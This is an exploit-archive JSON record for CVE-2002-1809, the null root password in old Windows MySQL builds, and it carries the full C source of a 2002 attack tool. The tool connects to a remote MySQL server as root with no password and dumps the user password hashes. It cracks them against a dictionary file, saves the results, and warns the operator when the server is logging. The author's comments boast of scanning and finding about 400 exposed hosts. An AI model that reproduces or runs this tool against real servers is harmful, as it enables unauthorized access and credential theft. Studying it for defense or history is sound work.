{"exploit":{"id":"EDB-21725","name":"MySQL 3.20.32/3.22.x/3.23.x - Null Root Password Weak Default Configuration (1)","description":"MySQL 3.20.32/3.22.x/3.23.x - Null Root Password Weak Default Configuration (1)","cves":["CVE-2002-1809"],"author":"g0thm0g","published":"2002-08-19","platform":"linux","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/21725","path":"exploits/linux/remote/21725.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-21725.c","vulnerabilities":[{"id":"CVE-2002-1809","state":"PUBLISHED","title":null,"titleSource":null,"description":"The default configuration of the Windows binary release of MySQL 3.23.2 through 3.23.52 has a NULL root password, which could allow remote attackers to gain unauthorized root access to the MySQL database.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2002-1809","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2002-1809"},"updatedAt":"2024-09-16T18:34:19.190Z","retrievedAt":"2026-11-27T15:08:06.380Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-21725.png?v=2","url":"https://exploitbin.com/exploits/EDB-21725","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-21725/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-21725/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\nsource: https://web.archive.org/web/2002/https://www.securityfocus.com/bid/5503/info\n\nMySQL is is an open source relational database project, and is available for a number of operating systems, including Microsoft Windows.\n\nA weak default configuration problem has been reported in the Windows binary release of MySQL. Reportedly, the root user of the database is defined with no password, and granted login privileges from any host.\n\nThis issue has been reported in the Windows binary release of MySQL. Other versions may share this default configuration, this has not however been confirmed.\n*/\n\n//mysqlfuck.c\n/*--||MySQLfuck||--*/\n/*Written by g0thm0g*/\n/*-----------------*/\n/*Earlier this summer (at least where I live), I had a\nconversation with a friend.\nIt was one of those afternoons where you get an idea,\nand it kinda sticks with you.\nAnyway, our conversation involved a couple questions\nabout INSERT's into a MySQL\ndatabase.  Eventually, I told him that I would do it\nfor him.  I came over, sat down\non his computer, and accidentally typed his full IP\naddress in.  TO my surprise, the\nhost still connected.  Even worse, root login wasn't\npassworded.  I figured that he\nhad mysql bound to 127.0.0.1, and that no real remote\nhost could connect.  However,\nlater that night after I had gone home, I got a phone\ncall from the friend asking me\nto do it again.  Already on the computer (go figure\nd:), I pulled up bash and\ntyped in his IP.  Right as I was about to ask him what\nhis password was, I noticed\nthat MySQL hadn't even bothered to authenticate me.  I\n\"used mysql\" and then SELECT'ed\nuser,password,host FROM user.  To my horror, I recieved:\n\t\t \t\t \t\t \t\t \t\t \t\t +------+----------+-----------+\n\t\t \t\t \t\t \t\t \t\t \t\t | user | password | host      |\n\t\t \t\t \t\t \t\t \t\t \t\t +------+----------+-----------+\n\t\t \t\t \t\t \t\t \t\t \t\t | root |          | localhost |\n\t\t \t\t \t\t \t\t \t\t \t\t | root |          | %         |\n\t\t \t\t \t\t \t\t \t\t \t\t |      |          | localhost |\n\t\t \t\t \t\t \t\t \t\t \t\t |      |          | %         |\n\t\t \t\t \t\t \t\t \t\t \t\t +------+----------+-----------+\n\t\t Not only was name-less login allowed, but root was\nwithout password on localhost\nand remote.  Anyway, to make a long story short, I did\nsome research, and found that\ndefault Windows MySQL configuration lacks logging or\nauthentication.  I did some\nnetwork scanning, and I think I have around 400 hosts\nwith no root password.  Anyway,\nto automate checking this, I wrote this program up.  It\ntries to login as root/NULL,\nthen takes the values of the user password hashes and\ntries to find a match to a\ndictionary file called dictionary.txt.\n\nI wrote up an advisory, which you'll probably see on\nSecFoc soon.\n\nIf I had some cookies, I'd give them to:\n\t\t -Tiefer and his relentless questioning and jokes about\nmy sister\n\t\t -Club 21, especially for Hard Attack\n\t\t -DJ Doboy, can't forget trancequility volume 19\n\n(INSERT STANDARD \"NOT-TO-BE-USED-FOR-ILLEGAL-USE\"\nCLAUSE HERE)\n(INSERT STANDARD \"I-HOLD-NO-LIABILITY\" CLAUSE HERE)\n\nCompile:\n\t\t -MSVC= cl mysqlfuck.c libmySQL.lib /DWIN32 -O2\n\t\t -GCC=  gcc -omysqlfuck mysqlfuck.c -lmySQL -O2\n\n\t\t -Cheers\n\t\t \t\t g0th\n*/\n\n\n#include <stdio.h>\n#ifdef WIN32\n#include <windows.h>\n#endif\n#include <mysql.h>\n\n/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?\n/*Crazy MySQL programmers and their short typedefs*/\n/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/\n\n#ifndef ulong\n#define ulong unsigned long\n#endif\n\n#ifndef uint\n#define uint unsigned int\n#endif\n\n#ifndef uchar\n#define uchar unsigned char\n#endif\n\n/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?\n/*##--####--####--####--####--####--####--####--##*/\n/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/\n\n/*--------------------------------------------------------------*/\n/*<<<<This section is ripped straight from the MySQL\nsource.>>>>*/\n/*I have this all nice and optimized in assembly on my\nend, but*/\n/*writing cross-compiler inline is not too fun, and\nrequring an*/\n/*assembler is kinda frustrating.*/\n/*--------------------------------------------------------------*/\nvoid hash_password(ulong *result, const char *password)\n{\n  register ulong nr=1345345333L, add=7, nr2=0x12345671L;\n  ulong tmp;\n  for (; *password ; password++)\n  {\n    if (*password == ' ' || *password == '\\t')\n      continue;\t\t \t\t \t\t /* skipp space in password */\n\n    tmp= (ulong) (uchar) *password;\n    nr^= (((nr & 63)+add)*tmp)+ (nr << 8);\n    nr2+=(nr2 << 8) ^ nr;\n    add+=tmp;\n  }\n\n  result[0]=nr & 2147483647; /* Don't use sign bit\n(str2int) */;\n  result[1]=nr2 & 2147483647;\n  return;\n}\n\nvoid make_scrambled_password(char *to,const char *password)\n{\n  ulong hash_res[2];\n  hash_password(hash_res,password);\n  sprintf(to,\"%08lx%08lx\",hash_res[0],hash_res[1]);\n}\n/*--------------------------------------------------------------*/\n/*<<<<######################################################>>>>*/\n/*--------------------------------------------------------------*/\n\n\n/*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*/\n\n\n/*--------------------------------*/\n/*<<<user struct to store data>>>>*/\n/*--------------------------------*/\ntypedef struct\n{\n\t\t char *user;\n\t\t char *password;\n} user;\n\n#define\t\t MAX_USERS\t\t 16\n/*--------------------------------*/\n/*<<<<########################>>>>*/\n/*--------------------------------*/\n\n\n\n//main - for \"coherency's\" (yes, i mean laziness) sake,\ni've kept this a single function\nint\n\t\t main\n\t\t (\n\t\t \t\t int argc,\n\t\t \t\t char** argv\n\t\t )\n\t\t {\n\n\t\t \t\t MYSQL * mysqlData;\t\t \t\t \t\t //--|-\n\t\t \t\t MYSQL_RES * mysqlResult;\t\t //--|-MySQL Datatypes\n\t\t \t\t MYSQL_ROW mysqlRow;\t\t \t\t \t\t //--|-\n\n\t\t \t\t char *spHost;\t\t \t\t \t\t \t\t //--|\n\t\t \t\t char *spUser=\"root\";\t\t \t\t \t\t //--|\n\t\t \t\t char *spPassword=NULL;\t\t \t\t //--|-Our connection data\n\t\t \t\t int spPort=3306;\t\t \t\t \t\t //--|\n\t\t \t\t char *spServerVersion;\t\t \t\t //--|\n\n\t\t \t\t int usernum=0;\t\t \t\t \t\t \t\t //--|\n\t\t \t\t user *users[MAX_USERS];\t\t \t\t //--|-User name/hash storage\ndata\n\n\t\t \t\t FILE *fin, *fout;\t\t \t\t \t\t //--|\n\t\t \t\t char *file_name;\t\t \t\t \t\t //--|-File I/O data\n\n\t\t \t\t char *line=(char *)malloc(64);\t\t //--|\n\t\t \t\t char *buff=(char *)malloc(64);\t\t //--|-Miscellaneous\nbuffers\n\n\t\t \t\t int i=0;\t\t \t\t \t\t \t\t \t\t //--|Counter\n\n\n\t\t \t\t //Warn about not meeting minimal arguments\n\t\t \t\t if (2>argc)\n\t\t \t\t {\n\t\t \t\t \t\t fprintf (stderr, \"usage: mysqlfuck host [-p<port>]\");\n\t\t \t\t \t\t return -1;\n\t\t \t\t }\n\n\t\t \t\t //Copy the first argument into the host buffer\n\t\t \t\t spHost=(char *)malloc(sizeof(argv[1]));\n\t\t \t\t strcpy (spHost, argv[1]);\n\n\t\t \t\t //Copy port if the user specified\n\t\t \t\t if (argv[2])\n\t\t \t\t {\n\t\t \t\t \t\t if (argv[2][1]=='p')\n\t\t \t\t \t\t {\n\t\t \t\t \t\t \t\t ++argv[2];\n\t\t \t\t \t\t \t\t ++argv[2];\n\t\t \t\t \t\t \t\t spPort=atoi(argv[2]);\n\t\t \t\t \t\t \t\t printf (\"port: %i\\n\", spPort);\n\t\t \t\t \t\t }\n\t\t \t\t }\n\n\t\t \t\t //Initialize MySQL data and connect with root/NULL\n\n\t\t \t\t mysqlData = (MYSQL *)malloc(sizeof(MYSQL));\n\n\t\t \t\t mysql_init (mysqlData);\n\n\t\t \t\t if (! mysql_real_connect (mysqlData, spHost, spUser,\nspPassword, \"mysql\", spPort, NULL, 0) )\n\t\t \t\t {\n\t\t \t\t \t\t fprintf (stderr, \"mysql_real_connect: %s\\n\",\nmysql_error (mysqlData));\n\t\t \t\t \t\t return -1;\n\t\t \t\t }\n\n\t\t \t\t //If the server logs, inform the user!\n\n\t\t \t\t printf (\"server version: %s\\n\",\nmysql_get_server_info(mysqlData));\n\n\t\t \t\t if (strstr (mysql_get_server_info (mysqlData), \"log\"))\n\t\t \t\t {\n\t\t \t\t \t\t printf (\"Warning!  Server is logging - Continue(*/n)?\");\n\t\t \t\t \t\t if (getchar()=='n')\n\t\t \t\t \t\t {\n\t\t \t\t \t\t \t\t mysql_close (mysqlData);\n\t\t \t\t \t\t \t\t return -1;\n\t\t \t\t \t\t }\n\t\t \t\t }\n\n\t\t \t\t //\"Obtain\" the hashes (notice i didn't use the word\nsteal)\n\n\t\t \t\t if ( mysql_query (mysqlData, \"SELECT user,password\nFROM user\") )\n\t\t \t\t {\n\t\t \t\t \t\t fprintf (stderr, \"mysql_query: %s\\n\", mysql_error\n(mysqlData));\n\t\t \t\t \t\t return -1;\n\t\t \t\t }\n\n\t\t \t\t //Store the result and process it\n\n\t\t \t\t mysqlResult=mysql_store_result(mysqlData);\n\t\t \t\t while (mysqlRow=mysql_fetch_row(mysqlResult))\n\t\t \t\t {\n\t\t \t\t \t\t if (strlen(mysqlRow[0])==0)\n\t\t \t\t \t\t {\n\t\t \t\t \t\t \t\t mysqlRow[0]=\"(NULL)\";\n\t\t \t\t \t\t }\n\n\t\t \t\t \t\t if (strlen(mysqlRow[1])==0)\n\t\t \t\t \t\t {\n\t\t \t\t \t\t \t\t mysqlRow[1]=\"(NULL)\";\n\t\t \t\t \t\t }\n\n\n\t\t \t\t \t\t users[usernum]=(user *)malloc(sizeof(user));\n\t\t \t\t \t\t users[usernum]->user=(char\n*)malloc(strlen(mysqlRow[0])+1);\n\t\t \t\t \t\t strcpy (users[usernum]->user, mysqlRow[0]);\n\t\t \t\t \t\t users[usernum]->password=(char\n*)malloc(strlen(mysqlRow[1])+1);\n\t\t \t\t \t\t strcpy (users[usernum]->password, mysqlRow[1]);\n\t\t \t\t \t\t usernum++;\n\t\t \t\t }\n\n\t\t \t\t mysql_close (mysqlData);\n\n\t\t \t\t //Setup putput file name string\n\n\t\t \t\t file_name=(char *)malloc (sizeof(spHost)+4);\n\t\t \t\t strcpy (file_name, spHost);\n\t\t \t\t strcat (file_name, \".txt\\0\\0\");\n\t\t \t\t printf (\"\\n+----------------------------+\\n\");\n\t\t \t\t printf (\"<decrypting and dumping to %s>\\n\", file_name);\n\t\t \t\t printf (\"+----------------------------+\\n\");\n\n\n\t\t \t\t fout=fopen (spHost, \"w\");\n\n\t\t \t\t if (!fout)\n\t\t \t\t {\n\t\t \t\t \t\t fprintf (stderr, \"Unable to open %s for password\ndumping\\n\", spHost);\n\t\t \t\t \t\t return -1;\n\t\t \t\t }\n\n\n\t\t \t\t //Use a database to crack the hashes (optional)\n\t\t \t\t fin=fopen (\"dictionary.txt\", \"r\");\n\t\t \t\t if (!fin)\n\t\t \t\t {\n\t\t \t\t \t\t fprintf (stderr, \"error opening dictionary.txt - no\ndecryption will take place\\n\");\n\n\t\t \t\t \t\t for (i=0;i<usernum;i++)\n\t\t \t\t \t\t {\n\t\t \t\t \t\t \t\t printf (\"%s::%s\\n\", users[i]->user,\nusers[i]->password);\n\t\t \t\t \t\t }\n\n\t\t \t\t \t\t return -1;\n\t\t \t\t }\n\n\t\t \t\t //Loop through the user array and crack/output hashes\n\t\t \t\t for (i=0;i<usernum;i++)\n\t\t \t\t {\n\t\t \t\t \t\t if (users[i]->user)\n\t\t \t\t \t\t {\n\t\t \t\t \t\t \t\t if (users[i]->password)\n\t\t \t\t \t\t \t\t {\n\n\t\t \t\t \t\t \t\t \t\t while ( (fgets (line, 63, fin)))\n\t\t \t\t \t\t \t\t \t\t {\n\t\t \t\t \t\t \t\t \t\t \t\t line[strlen(line)-1]='\\0';\n\t\t \t\t \t\t \t\t \t\t \t\t make_scrambled_password (buff, line);\n\t\t \t\t \t\t \t\t \t\t \t\t if (strcmp (buff, users[i]->password)==0)\n\t\t \t\t \t\t \t\t \t\t \t\t {\n\t\t \t\t \t\t \t\t \t\t \t\t \t\t users[i]->password=line;\n\t\t \t\t \t\t \t\t \t\t \t\t \t\t break;\n\t\t \t\t \t\t \t\t \t\t \t\t }\n\t\t \t\t \t\t \t\t \t\t }\n\n\t\t \t\t \t\t \t\t \t\t fclose (fin);\n\n\t\t \t\t \t\t \t\t \t\t fprintf (fout, \"%s::%s\\n\", users[i]->user,\nusers[i]->password);\n\t\t \t\t \t\t \t\t \t\t printf (\"%s::%s\\n\", users[i]->user,\nusers[i]->password);\n\t\t \t\t \t\t \t\t \t\t fflush (fout);\n\t\t \t\t \t\t \t\t }\n\t\t \t\t \t\t }\n\t\t \t\t }\n\n\t\t \t\t //Always clean up after yourself!\n\n\t\t \t\t fclose (fout);\n\n\t\t \t\t if (buff)\n\t\t \t\t \t\t free (buff);\n\n\t\t \t\t if (line)\n\t\t \t\t \t\t free (line);\n\n\t\t \t\t if (spHost)\n\t\t \t\t \t\t free (spHost);\n\n\t\t \t\t if (users)\n\t\t \t\t \t\t free (users);\n\n\t\t \t\t if (file_name)\n\t\t \t\t \t\t free (file_name);\n\n\t\t \t\t if (mysqlData)\n\t\t \t\t \t\t free (mysqlData);\n\n\t\t }","sha256":"c8a22ced1ca2b2d0f793fc280e379981369fbc1befda0ce9085763ab50f6f48c","bytes":10339,"fetchedAt":"2026-11-27T15:08:06.112Z","encoding":"utf-8 (display only; download retains original bytes)"}